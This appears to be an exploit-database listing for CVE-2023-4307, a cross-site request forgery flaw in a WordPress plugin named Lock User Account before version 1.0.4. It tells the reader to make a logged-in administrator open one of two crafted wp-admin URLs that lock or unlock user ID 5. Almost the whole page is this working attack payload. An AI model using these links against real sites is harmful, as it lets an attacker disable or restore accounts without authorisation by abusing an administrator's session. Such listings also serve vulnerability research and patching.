Exploit for Lock User Account < 1.0.4- Arbitrary Account Lock/Unlock via CSRF CVE-2023-4307

Name: Exploit for Lock User Account < 1.0.4- Arbitrary Account Lock/Unlock via CSRF CVE-2023-4307
Rating: 5 (46 reviews)

2023-08-21 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:06F7AA45-B5D0-4AFB-95CC-8F1C82F6F8B3
Make a logged in admin open one of the links below, this will make them lock/unlock the user with ID 5

https://example.com/wp-admin/users.php?action=lock&action2=lock&users%5B0%5D=5

https://example.com/wp-admin/users.php?action=unlock&action2=unlock&users%5B0%5D=5